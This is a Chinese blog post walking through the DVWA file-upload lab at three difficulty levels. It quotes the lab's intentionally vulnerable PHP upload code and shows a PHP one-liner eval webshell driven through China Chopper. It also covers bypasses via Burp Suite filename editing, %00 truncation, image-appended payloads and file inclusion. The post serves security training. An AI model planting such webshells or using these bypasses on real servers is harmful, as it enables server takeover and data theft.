DVWA--File Upload(文件上传)+中国菜刀下载及使用

File Upload

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,简单来说文件上传是指攻击者通过上传可执行脚本功能,从而获取服务器端可执行命令的权限


 

本次实验需要用到中国菜刀 ,所以我们要先下载这个软件,提供一个下载地址:

http://xiazai.zol.com.cn/detail/44/438518.shtml#comment,友情小提示:点下图红框框这里,别点上面的高速要不然它会先自动给你下载个加速器,电信下载就好了,软件很小只


 

Low

代码分析:在上传文件时,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,并且生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞限制条件:

  • 能够成功上传木马文件
  • 上传文件必须能够被执行
  • 上传文件的路径必须可知
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

先整一个php版本的一句话木马,注意要是php类型的

 

 

 上传

 

 

 我们可以发现,上传成功,并返回了服务器的上传路径,如下图:

在中国菜刀右键——添加——输入shell地址:http://192.168.29.76/DVWA-master/hackable/uploads/mua.php(这个shell地址是怎么来的:浏览器里你上传完这个文件,看上面地址,vulnerabilities/upload/#的前面两个也就是自己的IP和DVWA-master,有的人是dvwa,加上服务器上传路径hackable/uploads/mua.php),红框是刚才php文件里POST后面的密码

添加成功

 

 

 

 

 可以下载、修改服务器的所有文件

 

 

 还可以打开终端


 

Medium

 代码分析:函数对上传文件的类型和大小作了限制,类型必须是image/jpeg或者image/png,且上传文件大小不能超过100000B(大约等于97.6KB)

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?

一、文件上传+文件包含:

首先我们把刚才的php文件修改为png类型,上传,成功

 

 

 现在直接去菜刀肯定连接不上,因为菜刀解析不了png类型的文件

这时就要开始文件包含的操作,在菜刀的添加地址栏中输入:http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.29.76/DVWA-master/hackable/uploads/mua.png

 理论上就可以拿到web shell,但我尝试多次没有连接成功QAQ(咱也不知道为什么,据说是平台原因)

 

 二、利用burpsuite

上传文件,抓包,把这里改成mua.php

 

 上传文件,成功

 

 上菜刀进行连接

 

 三、截断绕过

php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off(在php.ini里找)时,可以在文件名中使用%00截断

即可以把上传文件命名为hack.php%00.png,上传,抓包,可以看到类型符合要求,并且上传成功

此时菜刀再连接就可以了

然而我为什么没有做呢。。。因为我php版本大于5.3.4


High 

代码分析:

增加了strrpos()函数和getimagesize()函数,从源码中发现对文件上传的格式做了更加严格的限制,要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”其中之一,而且限制了上传文件的文件头必须为图像类型。

strrpos() 函数:查找字符串在另一字符串中最后一次出现的位置。在这里是从文件名中找到含"."的字符

getimagesize()函数:用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

 

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

我们需要进行操作,将一句话木马文件与图片合并成一个图片类型的文件,具体如下:

先把图片文件改后缀名整成txt类型

 

打开这个txt文件,在最后加入一句话木马(<?php @eval($_POST['jyx']); ?> )

 

再改回jpg类型文件

 

上传,成功,连接菜刀

http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=file:///C:/Users/Administrator/Desktop/mua.JPEG

posted @ 2020-01-21 16:24  ApricityJ  阅读(1892)  评论(0编辑  收藏  举报